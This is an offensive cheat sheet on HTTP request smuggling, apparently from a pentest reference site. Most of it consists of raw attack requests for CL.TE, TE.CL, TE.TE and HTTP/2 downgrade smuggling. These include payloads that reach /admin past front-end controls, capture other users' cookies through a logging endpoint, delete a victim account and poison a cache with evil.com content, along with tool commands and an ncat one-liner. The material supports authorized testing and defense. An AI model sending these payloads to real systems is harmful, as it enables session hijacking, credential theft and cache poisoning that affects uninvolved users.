← All cheat sheets

HTTP-SMUGGLING

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Techniques for exploiting discrepancies in how front-end and
back-end servers parse HTTP request boundaries.

FUNDAMENTALS#

  Concept:
    - Front-end (proxy/CDN/WAF) and back-end disagree on request boundaries
    - Attacker crafts a request that is parsed as ONE request by front-end
      but as TWO requests by back-end
    - The "smuggled" portion is prepended to the next legitimate user's request

  Two Key Headers:
    Content-Length (CL): specifies body size in bytes
    Transfer-Encoding (TE): chunked encoding, body sent in chunks

  HTTP/1.1 RFC:
    - If both CL and TE are present, TE should take precedence
    - But implementations vary, creating smuggling opportunities

CL.TE (FRONT-END USES CL, BACK-END USES TE)#

  Concept:
    - Front-end reads Content-Length to determine request boundary
    - Back-end reads Transfer-Encoding: chunked
    - Smuggled data appears after the chunked body terminator

  Basic Payload:
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 13
    Transfer-Encoding: chunked

    0

    SMUGGLED

    # Front-end: sends 13 bytes of body (includes "0\r\n\r\nSMUGGLED")
    # Back-end: reads chunked body, sees 0 (end), treats "SMUGGLED" as next request

  Detection:
    # Timing-based detection
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 4
    Transfer-Encoding: chunked

    1
    Z
    Q

    # If CL.TE: front-end sends 4 bytes immediately
    # Back-end reads chunked, waits for next chunk -> timeout/delay
    # Delay indicates CL.TE vulnerability

  Exploitation - Bypass Front-End Security:
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 71
    Transfer-Encoding: chunked

    0

    GET /admin HTTP/1.1
    Host: target.com
    Content-Length: 10

    x=

    # The smuggled GET /admin request bypasses front-end access controls

  Exploitation - Capture Other Users' Requests:
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 130
    Transfer-Encoding: chunked

    0

    POST /log HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 500

    data=

    # The next user's request is appended to data= parameter
    # Their headers (including cookies/auth) are captured

TE.CL (FRONT-END USES TE, BACK-END USES CL)#

  Concept:
    - Front-end reads Transfer-Encoding: chunked
    - Back-end reads Content-Length
    - Smuggled data is in the chunked body but beyond Content-Length boundary

  Basic Payload:
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 3
    Transfer-Encoding: chunked

    8
    SMUGGLED
    0


    # Front-end: reads chunked (8 bytes "SMUGGLED", then 0 terminator)
    # Back-end: reads 3 bytes of body ("8\r\n"), treats rest as new request

  Detection:
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 6
    Transfer-Encoding: chunked

    0

    X

    # If TE.CL: front-end reads chunked (0 = end, sends immediately)
    # Back-end reads CL=6, waits for remaining bytes -> timeout/delay

  Exploitation - Request Hijacking:
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 4
    Transfer-Encoding: chunked

    a1
    GET /admin/delete?user=victim HTTP/1.1
    Host: target.com
    Foo: bar
    0


    # Front-end sends everything (chunked)
    # Back-end reads 4 bytes, treats rest as new request
    # Smuggled admin request executes on back-end

TE.TE (BOTH USE TE, BUT DIFFER ON OBFUSCATION)#

  Concept:
    - Both servers use Transfer-Encoding, but one can be tricked
      into not recognizing it via obfuscation
    - The tricked server falls back to Content-Length

  Obfuscation Techniques:
    Transfer-Encoding: chunked
    Transfer-Encoding : chunked          # Space before colon
    Transfer-Encoding: xchunked          # Invalid value
    Transfer-Encoding: chunked\r\n       # Extra whitespace
    Transfer-encoding: chunked           # Lowercase
    Transfer-Encoding: x
    Transfer-Encoding: chunked
    Transfer-Encoding:[tab]chunked       # Tab instead of space
    X: X[\n]Transfer-Encoding: chunked   # Header injection via newline
    Transfer-Encoding
     : chunked                           # Line folding (obs-fold)
    Transfer-Encoding: chunk             # Truncated value

  Example Payload:
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 4
    Transfer-Encoding: chunked
    Transfer-encoding: x

    5c
    GPOST / HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15

    x=1
    0


    # One server processes chunked, the other falls back to CL

DETECTION TECHNIQUES#

  Timing-Based:
    # Send request that causes timeout if vulnerable
    # CL.TE detection: short CL, incomplete chunk
    # TE.CL detection: complete chunk, short CL

  Differential Response:
    # Smuggle a request that causes a distinctive response
    # If subsequent request gets unexpected response -> confirmed

    # Smuggle a 404-triggering request
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 49
    Transfer-Encoding: chunked

    0

    GET /hopefully-nonexistent HTTP/1.1
    Foo: bar

    # If next legitimate request gets 404 -> smuggling confirmed

  Using Burp Suite:
    # Scanner automatically detects smuggling
    # Extensions: HTTP Request Smuggler
    # Right-click -> Extensions -> HTTP Request Smuggler -> Smuggle probe

  Automated Detection:
    # smuggler.py
    python3 smuggler.py -u https://target.com

    # h2csmuggler (HTTP/2 cleartext)
    python3 h2csmuggler.py -x https://target.com

EXPLOITATION SCENARIOS#

  1. Bypass Front-End Security Controls:
    # Access restricted endpoints via smuggled request
    # Bypass WAF rules by hiding malicious payload in smuggled request
    # Bypass IP-based access controls

  2. Poison Web Cache:
    # Smuggle a request that causes the cache to store attacker content
    POST / HTTP/1.1
    Host: target.com
    Content-Length: 130
    Transfer-Encoding: chunked

    0

    GET /static/main.js HTTP/1.1
    Host: evil.com
    Content-Length: 10

    x=

    # Back-end processes smuggled GET, returns evil.com content
    # Cache stores it for /static/main.js
    # All users get malicious JS

  3. Capture User Credentials:
    # Smuggle a POST to a logging endpoint with large Content-Length
    # Next user's request (with cookies/tokens) is appended to the body
    # Retrieve captured data from the logging endpoint

  4. Reflect XSS Without User Interaction:
    # Smuggle a request with XSS payload
    # Next user's response contains the reflected XSS
    # No phishing link needed

  5. Open Redirect via Host Header:
    # Smuggle request with different Host header
    # Backend returns redirect to attacker domain
    # Next user follows the cached redirect

  6. Request Hijacking:
    # Smuggle incomplete request with victim's session
    # Victim's next request completes the smuggled request
    # Attacker's action performed with victim's credentials

H2.CL SMUGGLING (HTTP/2 DOWNGRADE)#

  Concept:
    - Front-end speaks HTTP/2, back-end speaks HTTP/1.1
    - Front-end downgrades HTTP/2 to HTTP/1.1 for back-end
    - HTTP/2 does not use Content-Length for framing (uses frames)
    - But CL header may be forwarded to back-end in the downgrade

  Attack:
    # Send HTTP/2 request with CL header that disagrees with body
    :method: POST
    :path: /
    :authority: target.com
    content-length: 0

    GET /admin HTTP/1.1
    Host: target.com

    # HTTP/2 frame contains the full body (including smuggled request)
    # Front-end forwards to back-end as HTTP/1.1 with CL: 0
    # Back-end reads CL: 0, treats rest as new request

  H2.TE Smuggling:
    # Send HTTP/2 request with Transfer-Encoding header
    :method: POST
    :path: /
    :authority: target.com
    transfer-encoding: chunked

    0

    GET /admin HTTP/1.1
    Host: target.com

  HTTP/2 Exclusive Vectors:
    # Pseudo-header injection
    :method: GET / HTTP/1.1\r\nHost: evil.com\r\n\r\nGET
    :path: / HTTP/1.1\r\nTransfer-Encoding: chunked

    # Header name injection (HTTP/2 allows : in header values)
    foo: bar\r\nTransfer-Encoding: chunked

  HTTP/2 Request Tunneling:
    # When front-end does not downgrade but tunnels
    # Inject complete HTTP/1.1 requests in HTTP/2 headers
    # CRLF injection in HTTP/2 header values

TOOLS AND PAYLOADS#

  HTTP Request Smuggler (Burp Extension):
    - Automated detection and exploitation
    - Right-click -> Extensions -> HTTP Request Smuggler
    - Generates probe requests for CL.TE, TE.CL, TE.TE

  smuggler.py:
    # Command line smuggling detection
    python3 smuggler.py -u https://target.com
    python3 smuggler.py -u https://target.com -m POST

  h2csmuggler:
    # HTTP/2 cleartext smuggling
    python3 h2csmuggler.py -x https://target.com -t /admin

  Defparam's Smuggler:
    # Multiple payload mutations
    python3 smuggler.py -u https://target.com --timeout 5

  Manual Testing with curl:
    # CL.TE test
    printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX' | \
      ncat --ssl target.com 443

  Burp Repeater Tips:
    # Disable "Update Content-Length" in Repeater settings
    # This allows sending mismatched CL values
    # Use \r\n explicitly in payloads
    # Send request multiple times to confirm (poison builds up)

IMPORTANT NOTES#

  Testing Safely:
    - Smuggling affects OTHER users' requests
    - Test carefully in production environments
    - Use unique identifiers to detect your own smuggled requests
    - Prefer staging/pre-production environments
    - Document all testing for responsible disclosure

  Common Pitfalls:
    - Results may be intermittent (depends on connection reuse)
    - Need to send poisoning request and probe request on same connection
    - Some CDNs/proxies are not vulnerable (they normalize TE/CL)
    - HTTP/2 end-to-end is generally not vulnerable to classic smuggling

  Prerequisites:
    - Front-end must reuse back-end connections (connection pooling)
    - Front-end and back-end must disagree on request parsing
    - HTTP/1.1 connection (or HTTP/2 with downgrading)

  Indicators of Vulnerability:
    - Multiple layers of proxies/load balancers
    - Mix of HTTP/1.1 and HTTP/2
    - Custom or legacy proxy implementations
    - CDN -> origin server architectures